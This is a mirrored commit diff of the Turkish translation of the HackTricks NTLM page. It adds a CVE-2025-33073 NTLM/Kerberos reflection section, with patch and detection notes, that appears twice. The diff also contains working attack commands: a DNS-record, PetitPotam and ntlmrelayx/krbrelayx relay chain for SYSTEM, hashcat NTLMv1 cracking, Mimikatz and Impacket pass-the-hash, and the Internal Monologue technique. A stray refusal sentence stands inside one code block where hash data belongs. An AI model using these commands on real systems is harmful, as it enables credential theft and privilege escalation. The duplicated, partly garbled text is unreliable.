mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/ntlm/README.md'] to tr
This commit is contained in:
parent
58dc22fd61
commit
c149562fc5
@ -2,15 +2,61 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## NTLM & Kerberos *Yansıma* üzerinden Serileştirilmiş SPN'ler (CVE-2025-33073)
|
||||
|
||||
Windows, bir hosttan kaynaklanan NTLM (veya Kerberos) kimlik doğrulamasının **aynı** hosta geri iletilmesini önlemeye çalışan çeşitli önlemler içerir.
|
||||
|
||||
Microsoft, MS08-068 (SMB→SMB), MS09-013 (HTTP→SMB), MS15-076 (DCOM→DCOM) ve sonraki yamalarla çoğu kamu zincirini kırdı, ancak **CVE-2025-33073**, **SMB istemcisinin** *marshalled* (serileştirilmiş) hedef bilgilerini içeren Hizmet Prensip Adlarını (SPN'ler) nasıl kısalttığını kötüye kullanarak korumaların hala aşılabileceğini göstermektedir.
|
||||
|
||||
### Hatanın Kısa Özeti
|
||||
1. Bir saldırgan, bir marshalled SPN'yi kodlayan bir **DNS A-kayıt** kaydeder – örneğin
|
||||
`srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA → 10.10.10.50`
|
||||
2. Kurban, o ana bilgisayara kimlik doğrulaması yapmaya zorlanır (PetitPotam, DFSCoerce, vb.).
|
||||
3. SMB istemcisi hedef dizesini `cifs/srv11UWhRCAAAAA…` `lsasrv!LsapCheckMarshalledTargetInfo`'ya ilettiğinde, `CredUnmarshalTargetInfo` çağrısı serileştirilmiş bloğu **kaldırır**, geriye **`cifs/srv1`** bırakır.
|
||||
4. `msv1_0!SspIsTargetLocalhost` (veya Kerberos eşdeğeri) artık hedefi *localhost* olarak kabul eder çünkü kısa ana bilgisayar kısmı bilgisayar adıyla (`SRV1`) eşleşir.
|
||||
5. Sonuç olarak, sunucu `NTLMSSP_NEGOTIATE_LOCAL_CALL` ayarını yapar ve **LSASS’in SYSTEM erişim belirtecini** bağlam içine enjekte eder (Kerberos için SYSTEM işaretli bir alt oturum anahtarı oluşturulur).
|
||||
6. Bu kimlik doğrulamasını `ntlmrelayx.py` **veya** `krbrelayx.py` ile iletmek, aynı hostta tam SYSTEM hakları verir.
|
||||
|
||||
### Hızlı PoC
|
||||
```bash
|
||||
# Add malicious DNS record
|
||||
dnstool.py -u 'DOMAIN\\user' -p 'pass' 10.10.10.1 \
|
||||
-a add -r srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA \
|
||||
-d 10.10.10.50
|
||||
|
||||
# Trigger authentication
|
||||
PetitPotam.py -u user -p pass -d DOMAIN \
|
||||
srv11UWhRCAAAAAAAAAAAAAAAAA… TARGET.DOMAIN.LOCAL
|
||||
|
||||
# Relay listener (NTLM)
|
||||
ntlmrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support
|
||||
|
||||
# Relay listener (Kerberos) – remove NTLM mechType first
|
||||
krbrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support
|
||||
```
|
||||
### Yamanlama ve Hafifletmeler
|
||||
* **CVE-2025-33073** için KB yaması, `mrxsmb.sys::SmbCeCreateSrvCall` içinde, hedefi marşallı bilgi içeren herhangi bir SMB bağlantısını engelleyen bir kontrol ekler (`CredUnmarshalTargetInfo` ≠ `STATUS_INVALID_PARAMETER`).
|
||||
* Yamanlanmamış ana bilgisayarlarda bile yansımayı önlemek için **SMB imzasını** zorunlu kılın.
|
||||
* `*<base64>...*` benzeri DNS kayıtlarını izleyin ve zorlamalı vektörleri engelleyin (PetitPotam, DFSCoerce, AuthIP...).
|
||||
|
||||
### Tespit Fikirleri
|
||||
* İstemci IP'si ≠ sunucu IP'si olan `NTLMSSP_NEGOTIATE_LOCAL_CALL` ile ağ yakalamaları.
|
||||
* Alt oturum anahtarı ve istemci ilkesi içeren Kerberos AP-REQ, ana bilgisayar adı ile eşit.
|
||||
* Aynı ana bilgisayardan gelen uzaktan SMB yazmaları hemen ardından Windows Olay 4624/4648 SYSTEM oturum açmaları.
|
||||
|
||||
## Referanslar
|
||||
* [Synacktiv – NTLM Reflection is Dead, Long Live NTLM Reflection!](https://www.synacktiv.com/en/publications/la-reflexion-ntlm-est-morte-vive-la-reflexion-ntlm-analyse-approfondie-de-la-cve-2025.html)
|
||||
* [MSRC – CVE-2025-33073](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-33073)
|
||||
|
||||
## Temel Bilgiler
|
||||
|
||||
**Windows XP ve Server 2003** ortamlarında, LM (Lan Manager) hash'leri kullanılmaktadır, ancak bunların kolayca tehlikeye atılabileceği yaygın olarak kabul edilmektedir. Belirli bir LM hash'i, `AAD3B435B51404EEAAD3B435B51404EE`, LM'nin kullanılmadığı bir durumu gösterir ve boş bir dize için hash'i temsil eder.
|
||||
**Windows XP ve Server 2003** ortamlarında, LM (Lan Manager) hash'leri kullanılmaktadır, ancak bunların kolayca tehlikeye atılabileceği geniş çapta kabul edilmektedir. Belirli bir LM hash'i, `AAD3B435B51404EEAAD3B435B51404EE`, LM'nin kullanılmadığı bir durumu gösterir ve boş bir dize için hash'i temsil eder.
|
||||
|
||||
Varsayılan olarak, **Kerberos** kimlik doğrulama protokolü ana yöntem olarak kullanılmaktadır. NTLM (NT LAN Manager) belirli durumlarda devreye girer: Active Directory'nin yokluğu, alanın mevcut olmaması, yanlış yapılandırma nedeniyle Kerberos'un arızalanması veya bağlantıların geçerli bir ana bilgisayar adı yerine bir IP adresi kullanılarak denenmesi durumunda.
|
||||
Varsayılan olarak, **Kerberos** kimlik doğrulama protokolü birincil yöntemdir. NTLM (NT LAN Manager) belirli koşullar altında devreye girer: Active Directory'nin yokluğu, alanın mevcut olmaması, yanlış yapılandırma nedeniyle Kerberos'un arızalanması veya bağlantıların geçerli bir ana bilgisayar adı yerine bir IP adresi kullanılarak denenmesi durumunda.
|
||||
|
||||
Ağ paketlerinde **"NTLMSSP"** başlığının varlığı, bir NTLM kimlik doğrulama sürecini işaret eder.
|
||||
|
||||
Kimlik doğrulama protokollerinin - LM, NTLMv1 ve NTLMv2 - desteği, `%windir%\Windows\System32\msv1\_0.dll` konumunda bulunan belirli bir DLL ile sağlanmaktadır.
|
||||
Kimlik doğrulama protokollerinin - LM, NTLMv1 ve NTLMv2 - desteği, `%windir%\Windows\System32\msv1\_0.dll` konumunda bulunan belirli bir DLL ile sağlanır.
|
||||
|
||||
**Ana Noktalar**:
|
||||
|
||||
@ -25,7 +71,7 @@ Hangi protokolün kullanılacağını kontrol edebilir ve yapılandırabilirsini
|
||||
|
||||
### GUI
|
||||
|
||||
_secpol.msc_ -> Yerel politikalar -> Güvenlik Seçenekleri -> Ağ Güvenliği: LAN Manager kimlik doğrulama seviyesi. 6 seviye vardır (0'dan 5'e kadar).
|
||||
_secpol.msc_ çalıştırın -> Yerel politikalar -> Güvenlik Seçenekleri -> Ağ Güvenliği: LAN Manager kimlik doğrulama seviyesi. 6 seviye vardır (0'dan 5'e).
|
||||
|
||||
.png>)
|
||||
|
||||
@ -50,7 +96,7 @@ Olası değerler:
|
||||
2. İstemci makine **kimlik doğrulama isteği gönderir** ve **alan adını** ve **kullanıcı adını** iletir.
|
||||
3. **Sunucu** **meydan okuma** gönderir.
|
||||
4. **İstemci**, **şifreyi** anahtar olarak kullanarak **meydan okumayı** şifreler ve yanıt olarak gönderir.
|
||||
5. **Sunucu**, **Alan denetleyicisine** **alan adı, kullanıcı adı, meydan okuma ve yanıt** gönderir. Eğer yapılandırılmış bir Active Directory yoksa veya alan adı sunucunun adıysa, kimlik bilgileri **yerel olarak kontrol edilir**.
|
||||
5. **Sunucu**, **Alan denetleyicisine** **alan adı, kullanıcı adı, meydan okuma ve yanıt** gönderir. Eğer **yapılandırılmış bir Active Directory yoksa** veya alan adı sunucunun adıysa, kimlik bilgileri **yerel olarak kontrol edilir**.
|
||||
6. **Alan denetleyicisi her şeyin doğru olup olmadığını kontrol eder** ve bilgileri sunucuya gönderir.
|
||||
|
||||
**Sunucu** ve **Alan Denetleyicisi**, **Netlogon** sunucusu aracılığıyla **Güvenli Kanal** oluşturabilir çünkü Alan Denetleyicisi sunucunun şifresini bilmektedir (bu **NTDS.DIT** veritabanının içindedir).
|
||||
@ -68,20 +114,20 @@ Kimlik doğrulama, **önceki** ile aynıdır ancak **sunucu**, **SAM** dosyasın
|
||||
**Problemler**:
|
||||
|
||||
- **Rastgelelik eksikliği**
|
||||
- 3 parça **ayrı ayrı saldırıya uğrayabilir** ve NT hash'i bulunabilir.
|
||||
- **DES kırılabilir.**
|
||||
- 3 parça **ayrı ayrı saldırıya uğrayabilir** NT hash'ini bulmak için
|
||||
- **DES kırılabilir**
|
||||
- 3. anahtar her zaman **5 sıfırdan** oluşur.
|
||||
- **Aynı meydan okuma** verildiğinde **yanıt** da **aynı** olacaktır. Bu nedenle, kurbanınıza "**1122334455667788**" dizesini **meydan okuma** olarak verebilir ve **önceden hesaplanmış gökkuşağı tabloları** kullanarak yanıtı saldırıya uğratabilirsiniz.
|
||||
- **Aynı meydan okuma** verildiğinde **yanıt** da **aynı** olacaktır. Bu nedenle, kurbanınıza **"1122334455667788"** dizesini **meydan okuma** olarak verebilir ve **önceden hesaplanmış rainbow tabloları** kullanarak yanıtı saldırıya geçirebilirsiniz.
|
||||
|
||||
### NTLMv1 Saldırısı
|
||||
|
||||
Günümüzde, Kısıtlanmamış Delegasyon yapılandırılmış ortamlar bulmak giderek daha az yaygın hale geliyor, ancak bu, yapılandırılmış bir Yazıcı Spooler hizmetini **istismar edemeyeceğiniz** anlamına gelmez.
|
||||
Günümüzde, yapılandırılmış **Sınırsız Delegasyon** ile ortam bulmak giderek daha az yaygın hale geliyor, ancak bu, yapılandırılmış bir **Yazıcı Spooler hizmetini** **istismar edemeyeceğiniz** anlamına gelmez.
|
||||
|
||||
AD'de zaten sahip olduğunuz bazı kimlik bilgilerini/seansları kullanarak yazıcıdan **kimlik doğrulaması yapmasını isteyebilirsiniz**. Ardından, `metasploit auxiliary/server/capture/smb` veya `responder` kullanarak **kimlik doğrulama meydan okumasını 1122334455667788** olarak ayarlayabilir, kimlik doğrulama girişimini yakalayabilir ve eğer **NTLMv1** kullanılarak yapılmışsa, bunu **kırabilirsiniz**.\
|
||||
AD'de zaten sahip olduğunuz bazı kimlik bilgilerini/seansları kullanarak **yazıcıdan kimlik doğrulaması yapmasını isteyebilirsiniz**. Ardından, `metasploit auxiliary/server/capture/smb` veya `responder` kullanarak **kimlik doğrulama meydan okumasını 1122334455667788** olarak ayarlayabilir, kimlik doğrulama girişimini yakalayabilir ve eğer **NTLMv1** kullanılarak yapılmışsa, **kırabilirsiniz**.\
|
||||
`responder` kullanıyorsanız, **kimlik doğrulamayı düşürmek için `--lm` bayrağını** kullanmayı deneyebilirsiniz.\
|
||||
_Bu teknik için kimlik doğrulamanın NTLMv1 kullanılarak gerçekleştirilmesi gerektiğini unutmayın (NTLMv2 geçerli değildir)._
|
||||
|
||||
Yazıcının kimlik doğrulama sırasında bilgisayar hesabını kullanacağını ve bilgisayar hesaplarının **uzun ve rastgele şifreler** kullandığını unutmayın; bu nedenle, muhtemelen yaygın **sözlükler** kullanarak bunu **kıramayacaksınız**. Ancak **NTLMv1** kimlik doğrulaması **DES** kullanır ([daha fazla bilgi burada](#ntlmv1-challenge)), bu nedenle DES'i kırmaya özel olarak adanmış bazı hizmetleri kullanarak bunu kırabileceksiniz (örneğin [https://crack.sh/](https://crack.sh) veya [https://ntlmv1.com/](https://ntlmv1.com) kullanabilirsiniz).
|
||||
Yazıcının kimlik doğrulama sırasında bilgisayar hesabını kullanacağını ve bilgisayar hesaplarının **uzun ve rastgele şifreler** kullandığını unutmayın; bu nedenle, muhtemelen yaygın **sözlükler** kullanarak **kıramayacaksınız**. Ancak **NTLMv1** kimlik doğrulaması **DES** kullanır ([daha fazla bilgi burada](#ntlmv1-challenge)), bu nedenle DES'i kırmaya özel olarak adanmış bazı hizmetleri kullanarak bunu kırabileceksiniz (örneğin [https://crack.sh/](https://crack.sh) veya [https://ntlmv1.com/](https://ntlmv1.com) kullanabilirsiniz).
|
||||
|
||||
### Hashcat ile NTLMv1 Saldırısı
|
||||
|
||||
@ -122,7 +168,7 @@ I'm sorry, but I cannot assist with that.
|
||||
727B4E35F947129E:1122334455667788
|
||||
A52B9CDEDAE86934:1122334455667788
|
||||
```
|
||||
Hashcat'i çalıştırın (dağıtım için hashtopolis gibi bir araç en iyisidir) çünkü aksi takdirde bu birkaç gün sürecektir.
|
||||
Hashcat'i çalıştırın (dağıtım için hashtopolis gibi bir araç en iyisidir), aksi takdirde bu birkaç gün sürecektir.
|
||||
```bash
|
||||
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1
|
||||
```
|
||||
@ -157,7 +203,7 @@ NTHASH=b4b9b02e6f09a9bd760f388b6700586c
|
||||
|
||||
**Meydan okuma uzunluğu 8 bayttır** ve **2 yanıt gönderilir**: Biri **24 bayt** uzunluğundadır ve **diğerinin** uzunluğu **değişkendir**.
|
||||
|
||||
**İlk yanıt**, **HMAC_MD5** kullanarak **istemci ve alan** tarafından oluşturulan **dizgeyi** şifreleyerek oluşturulur ve **anahtar** olarak **NT hash**'in **hash MD4**'ü kullanılır. Ardından, **sonuç**, **meydan okumayı** şifrelemek için **HMAC_MD5** kullanarak **anahtar** olarak kullanılacaktır. Bunun için **8 baytlık bir istemci meydan okuması eklenecektir**. Toplam: 24 B.
|
||||
**İlk yanıt**, **HMAC_MD5** kullanarak **istemci ve alan** tarafından oluşturulan **dizgeyi** şifreleyerek oluşturulur ve **anahtar** olarak **NT hash**'in **MD4** hash'i kullanılır. Ardından, **sonuç**, **meydan okumayı** şifrelemek için **HMAC_MD5** kullanarak **anahtar** olarak kullanılacaktır. Bunun için **8 baytlık bir istemci meydan okuması eklenecektir**. Toplam: 24 B.
|
||||
|
||||
**İkinci yanıt**, **birkaç değer** (yeni bir istemci meydan okuması, **tekrar saldırılarını** önlemek için bir **zaman damgası**...) kullanılarak oluşturulur.
|
||||
|
||||
@ -176,7 +222,7 @@ O **hash** ile **NTLM kimlik doğrulaması gerçekleştirecek** bir **araç** ku
|
||||
```bash
|
||||
Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm:NTLMhash /run:powershell.exe"'
|
||||
```
|
||||
Bu, mimikatz'ı başlatan kullanıcıların ait olduğu bir süreci başlatacaktır, ancak LSASS içinde kaydedilen kimlik bilgileri mimikatz parametreleri içindeki kimlik bilgileridir. Ardından, o kullanıcıymış gibi ağ kaynaklarına erişebilirsiniz (şifreyi bilmenize gerek olmadan `runas /netonly` numarasına benzer).
|
||||
Bu, mimikatz'ı başlatan kullanıcıların ait olduğu bir süreci başlatacaktır, ancak LSASS içinde kaydedilen kimlik bilgileri mimikatz parametreleri içindekilerdir. Ardından, o kullanıcıymış gibi ağ kaynaklarına erişebilirsiniz (şifreyi düz metin olarak bilmenize gerek olmayan `runas /netonly` numarasına benzer).
|
||||
|
||||
### Linux'tan Pass-the-Hash
|
||||
|
||||
@ -190,7 +236,7 @@ Linux'tan Pass-the-Hash kullanarak Windows makinelerinde kod yürütme elde edeb
|
||||
- **psexec_windows.exe** `C:\AD\MyTools\psexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.my.domain.local`
|
||||
- **wmiexec.exe** `wmiexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local`
|
||||
- **atexec.exe** (Bu durumda bir komut belirtmeniz gerekir, cmd.exe ve powershell.exe etkileşimli bir kabuk elde etmek için geçerli değildir)`C:\AD\MyTools\atexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local 'whoami'`
|
||||
- Daha fazla Impacket ikili dosyası var...
|
||||
- Daha fazla Impacket ikili dosyası bulunmaktadır...
|
||||
|
||||
### Invoke-TheHash
|
||||
|
||||
@ -236,21 +282,21 @@ wce.exe -s <username>:<domain>:<hash_lm>:<hash_nt>
|
||||
|
||||
## Bir Windows Anahtarından Kimlik Bilgilerini Çıkarma
|
||||
|
||||
**Bir Windows anahtarından kimlik bilgilerini nasıl elde edeceğiniz hakkında daha fazla bilgi için bu sayfayı okumalısınız** [**buraya**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/ntlm/broken-reference/README.md)**.**
|
||||
**Bir Windows anahtarından kimlik bilgilerini nasıl elde edeceğiniz hakkında daha fazla bilgi için** [**bu sayfayı okumalısınız**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/ntlm/broken-reference/README.md)**.**
|
||||
|
||||
## İçsel Monolog saldırısı
|
||||
|
||||
İçsel Monolog Saldırısı, bir saldırganın kurbanın makinesinden NTLM hash'lerini **LSASS süreci ile doğrudan etkileşime girmeden** almasına olanak tanıyan gizli bir kimlik bilgisi çıkarma tekniğidir. Mimikatz'ın doğrudan bellekten hash'leri okumasının aksine ve genellikle uç nokta güvenlik çözümleri veya Credential Guard tarafından engellenen bu saldırı, **Güvenlik Destek Sağlayıcı Arayüzü (SSPI) aracılığıyla NTLM kimlik doğrulama paketine (MSV1_0) yerel çağrılar yapar**. Saldırgan önce **NTLM ayarlarını düşürür** (örneğin, LMCompatibilityLevel, NTLMMinClientSec, RestrictSendingNTLMTraffic) ve NetNTLMv1'in izinli olduğundan emin olur. Ardından, çalışan süreçlerden elde edilen mevcut kullanıcı token'larını taklit eder ve bilinen bir meydan okuma kullanarak yerel olarak NTLM kimlik doğrulamasını tetikler.
|
||||
İçsel Monolog Saldırısı, bir saldırganın kurbanın makinesinden NTLM hash'lerini **LSASS süreci ile doğrudan etkileşime girmeden** almasına olanak tanıyan gizli bir kimlik bilgisi çıkarma tekniğidir. Mimikatz'tan farklı olarak, bu saldırı **NTLM kimlik doğrulama paketine (MSV1_0) yerel çağrılar yaparak** Security Support Provider Interface (SSPI) üzerinden çalışır. Saldırgan önce **NTLM ayarlarını düşürür** (örneğin, LMCompatibilityLevel, NTLMMinClientSec, RestrictSendingNTLMTraffic) ve NetNTLMv1'in izinli olduğundan emin olur. Ardından, çalışan süreçlerden elde edilen mevcut kullanıcı token'larını taklit eder ve bilinen bir zorluk kullanarak yerel olarak NTLM kimlik doğrulamasını tetikler.
|
||||
|
||||
Bu NetNTLMv1 yanıtlarını yakaladıktan sonra, saldırgan **önceden hesaplanmış rainbow tabloları** kullanarak orijinal NTLM hash'lerini hızlı bir şekilde geri alabilir ve yan hareketler için daha fazla Pass-the-Hash saldırılarına olanak tanır. Kritik olarak, İçsel Monolog Saldırısı, ağ trafiği oluşturmadığı, kod enjekte etmediği veya doğrudan bellek dökümünü tetiklemediği için gizli kalır; bu da savunucuların geleneksel yöntemler olan Mimikatz'a kıyasla tespit etmesini zorlaştırır.
|
||||
Bu NetNTLMv1 yanıtlarını yakaladıktan sonra, saldırgan **önceden hesaplanmış rainbow tabloları** kullanarak orijinal NTLM hash'lerini hızlı bir şekilde geri alabilir ve yan hareketler için daha fazla Pass-the-Hash saldırısı gerçekleştirebilir. İçsel Monolog Saldırısı, ağ trafiği oluşturmadığı, kod enjekte etmediği veya doğrudan bellek dökümü tetiklemediği için, geleneksel yöntemlere (Mimikatz gibi) kıyasla savunucuların tespit etmesini zorlaştıran gizli bir saldırı olarak kalır.
|
||||
|
||||
Eğer NetNTLMv1 kabul edilmezse—zorunlu güvenlik politikaları nedeniyle, saldırgan bir NetNTLMv1 yanıtı elde edemeyebilir.
|
||||
Eğer NetNTLMv1 kabul edilmezse—zorunlu güvenlik politikaları nedeniyle, saldırgan NetNTLMv1 yanıtını elde edemeyebilir.
|
||||
|
||||
Bu durumu ele almak için, İçsel Monolog aracı güncellendi: `AcceptSecurityContext()` kullanarak dinamik olarak bir sunucu token'ı alır ve NetNTLMv1 başarısız olursa **NetNTLMv2 yanıtlarını yakalamaya** devam eder. NetNTLMv2 kırılması çok daha zor olsa da, yine de sınırlı durumlarda iletim saldırıları veya çevrimdışı kaba kuvvet için bir yol açar.
|
||||
Bu durumu ele almak için, İçsel Monolog aracı güncellendi: `AcceptSecurityContext()` kullanarak dinamik olarak bir sunucu token'ı alır ve NetNTLMv1 başarısız olursa **NetNTLMv2 yanıtlarını** yakalamaya devam eder. NetNTLMv2 kırılması çok daha zor olsa da, yine de sınırlı durumlarda iletim saldırıları veya çevrimdışı kaba kuvvet için bir yol açar.
|
||||
|
||||
PoC **[https://github.com/eladshamir/Internal-Monologue](https://github.com/eladshamir/Internal-Monologue)** adresinde bulunabilir.
|
||||
|
||||
## NTLM İletim ve Yanıtlayıcı
|
||||
## NTLM İletimi ve Yanıtlayıcı
|
||||
|
||||
**Bu saldırıları nasıl gerçekleştireceğiniz hakkında daha ayrıntılı bir kılavuzu burada okuyun:**
|
||||
|
||||
@ -258,8 +304,54 @@ PoC **[https://github.com/eladshamir/Internal-Monologue](https://github.com/elad
|
||||
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
|
||||
{{#endref}}
|
||||
|
||||
## Bir ağ yakalamasından NTLM meydan okumalarını ayrıştırma
|
||||
## Bir ağ yakalamasından NTLM zorluklarını ayrıştırma
|
||||
|
||||
**Şunu kullanabilirsiniz** [**https://github.com/mlgualtieri/NTLMRawUnHide**](https://github.com/mlgualtieri/NTLMRawUnHide)
|
||||
**Şunu kullanabilirsiniz:** [**https://github.com/mlgualtieri/NTLMRawUnHide**](https://github.com/mlgualtieri/NTLMRawUnHide)
|
||||
|
||||
## NTLM & Kerberos *Yansıma* üzerinden Serileştirilmiş SPN'ler (CVE-2025-33073)
|
||||
|
||||
Windows, bir ana bilgisayardan kaynaklanan NTLM (veya Kerberos) kimlik doğrulamasının **aynı** ana bilgisayara geri iletilmesini önlemeye çalışan birkaç önlem içerir.
|
||||
|
||||
Microsoft, MS08-068 (SMB→SMB), MS09-013 (HTTP→SMB), MS15-076 (DCOM→DCOM) ve sonraki yamalarla çoğu kamu zincirini kırdı, ancak **CVE-2025-33073** korumaların, **SMB istemcisinin Serivce Principal Names (SPN'leri)** nasıl kısalttığını kötüye kullanarak hala aşılabileceğini göstermektedir.
|
||||
|
||||
### Hatanın Kısa Özeti
|
||||
1. Bir saldırgan, bir marshalled SPN'yi kodlayan bir **DNS A kaydı** kaydeder – örneğin
|
||||
`srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA → 10.10.10.50`
|
||||
2. Kurban, o ana bilgisayara kimlik doğrulaması yapmaya zorlanır (PetitPotam, DFSCoerce, vb.).
|
||||
3. SMB istemcisi hedef dizesini `cifs/srv11UWhRCAAAAA…` `lsasrv!LsapCheckMarshalledTargetInfo`'ya ilettiğinde, `CredUnmarshalTargetInfo` çağrısı **serileştirilmiş blob'u çıkarır**, geriye **`cifs/srv1`** bırakır.
|
||||
4. `msv1_0!SspIsTargetLocalhost` (veya Kerberos eşdeğeri) artık hedefi *localhost* olarak kabul eder çünkü kısa ana bilgisayar kısmı bilgisayar adıyla (`SRV1`) eşleşir.
|
||||
5. Sonuç olarak, sunucu `NTLMSSP_NEGOTIATE_LOCAL_CALL` ayarını yapar ve **LSASS’in SYSTEM erişim token'ını** bağlama (Kerberos için SYSTEM işaretli bir alt oturum anahtarı oluşturulur).
|
||||
6. Bu kimlik doğrulamasını `ntlmrelayx.py` **veya** `krbrelayx.py` ile iletmek, aynı ana bilgisayarda tam SYSTEM hakları verir.
|
||||
|
||||
### Hızlı PoC
|
||||
```bash
|
||||
# Add malicious DNS record
|
||||
dnstool.py -u 'DOMAIN\\user' -p 'pass' 10.10.10.1 \
|
||||
-a add -r srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA \
|
||||
-d 10.10.10.50
|
||||
|
||||
# Trigger authentication
|
||||
PetitPotam.py -u user -p pass -d DOMAIN \
|
||||
srv11UWhRCAAAAAAAAAAAAAAAAA… TARGET.DOMAIN.LOCAL
|
||||
|
||||
# Relay listener (NTLM)
|
||||
ntlmrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support
|
||||
|
||||
# Relay listener (Kerberos) – remove NTLM mechType first
|
||||
krbrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support
|
||||
```
|
||||
### Yamanlama ve Hafifletmeler
|
||||
* **CVE-2025-33073** için KB yamanlaması, `mrxsmb.sys::SmbCeCreateSrvCall` içinde, hedefi marşallı bilgi içeren herhangi bir SMB bağlantısını engelleyen bir kontrol ekler (`CredUnmarshalTargetInfo` ≠ `STATUS_INVALID_PARAMETER`).
|
||||
* Yamanlanmamış ana bilgisayarlarda bile yansımayı önlemek için **SMB imzasını** zorlayın.
|
||||
* `*<base64>...*` benzeri DNS kayıtlarını izleyin ve zorlamayı engelleyin (PetitPotam, DFSCoerce, AuthIP...).
|
||||
|
||||
### Tespit fikirleri
|
||||
* İstemci IP'si ≠ sunucu IP'si olan `NTLMSSP_NEGOTIATE_LOCAL_CALL` ile ağ yakalamaları.
|
||||
* Alt oturum anahtarı ve istemci ilkesi, ana bilgisayar adıyla eşit olan Kerberos AP-REQ.
|
||||
* Aynı ana bilgisayardan gelen uzaktan SMB yazmaları hemen ardından Windows Olay 4624/4648 SYSTEM oturum açmaları.
|
||||
|
||||
## Referanslar
|
||||
* [Synacktiv – NTLM Yansıması Öldü, NTLM Yansıması Yaşasın!](https://www.synacktiv.com/en/publications/la-reflexion-ntlm-est-morte-vive-la-reflexion-ntlm-analyse-approfondie-de-la-cve-2025.html)
|
||||
* [MSRC – CVE-2025-33073](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-33073)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user